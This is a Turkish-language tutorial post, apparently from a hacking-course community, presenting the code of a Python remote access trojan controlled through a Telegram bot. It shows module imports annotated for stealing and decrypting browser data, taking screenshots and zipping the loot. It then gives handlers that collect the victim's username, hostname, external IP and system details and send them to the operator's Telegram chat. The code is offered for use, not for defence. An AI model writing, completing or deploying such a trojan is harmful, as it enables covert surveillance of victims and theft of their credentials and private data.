TelegramBot
February 25, 2020

KekikRat_v1 Kod İncelemesi

🕊 Bu döküman @KekikAkademi için oluşturulmuştur. ✌🏼

KekikRat_v1 Python diliyle yazılmış, Telegram üzerinden kontrol edilebilen Uzaktan Erişim sağlayan Truva Atıdır.

Kullanmaya başlamadan önce BotFather ile oluşturduğumuz bot'a Commands eklememiz gerekiyor..

Modüllerimize Bakalım;

import os                   # Dizinler ve dosyalarla çalışmak için
import platform             # PC bilgileri için
import webbrowser           # Tarayıcıda bağlantı açtırmak için
import subprocess           # Kill Process(İşlem Sonlandırma) Kullanmak için
import shutil               # Tarayıcı verilerini kopyalamak için
import sqlite3              # Tarayıcıdan çekilen veritabanlarıyla çalışmak için
import win32crypt           # Tarayıcıdan çekilen şifrelenmiş verileri çözmek için
from PIL import ImageGrab   # Ekran görüntüsü almak için
import zipfile              # Topladığımız verileri Zip'lemek için
import requests             # Telegram'a Belge ve Ekran görüntüsü göndermek için
import telebot              # Esas oğlanımız TeleBot

TeleBot Bağlantımızı Sağlayalım;

Bot_Token = "XXXX:XXXX"                                # Bot Token
Chat_ID = "XXXX"                                       # Chat ID

KekikRAT = telebot.TeleBot(Bot_Token)  # telebot'a Tokenimizi bağladık

Komut - Kod Bağlantıları

/basla Komutu

@KekikRAT.message_handler(commands=['basla', 'Basla']) # Basla Komutunu bekliyorum
def baslangic(command): # Komut yürütülürse
    KekikRAT.send_message(Chat_ID,
                          "☣ KekikRAT Çalışıyor ☣" +
                          "\n\nKomutları Öğrenmek için: /komutlar yazabilirsin.." +
                          "\n\nCoded by @keyiflerolsun \nSpecial for @KekikAkademi ♥") # Mesaj gönder

/sistem Komutu

@KekikRAT.message_handler(commands=['sistem', 'Sistem']) # sistem Komutunu bekliyorum
def sistem(command):
    r = requests.get('http://ip.42.pl/raw') # Harici IP'yi bulmak için bir GET isteği yolluyoruz

    KullaniciAdi = os.getlogin()    # Kullanıcı Adı Değişkeni tanımlıyoruz
    BilgisayarAdi = platform.node() # Bilgisayar Adı Değişkeni
    IP = r.text                     # IP Değişkeni tanımlıyoruz
    Sistem = platform.system()      # İşletim Sistemi Bilgisi
    Bellenim = platform.release()   # Bellenim Sürümü Bilgisi
    islemci = platform.processor()  # İşlemci Özellikleri

    KekikRAT.send_message(Chat_ID,
                       "Kullanıcı : " + KullaniciAdi + '@' + BilgisayarAdi +
                       "\n\nIP : " + IP +
                       "\n\nOS : " + Sistem + ' | ' + Bellenim +
                       "\n\nİşlemci : " + islemci) # Mesaj gönder

işte komut - kod bağlantımız bu şekilde :)

Her şeyi tamamladıktan sonra betiğin en altına;

KekikRAT.polling()

kodunu ekleyerek dinlemede kalmasını sağlıyoruz, her şey bu kadar :)

Kodların Tamamı

__________________________

📃 Yandex.Disk Bünyemizdeki veriler 900GB'ı geçmiştir..

Paylaşılan Kursların Tümünü @KekikKahve Grubu notlarından Çağırabilirsiniz..

🕊️ Bize oy verip paylaşarak destek olmaya ne dersin? ✌🏼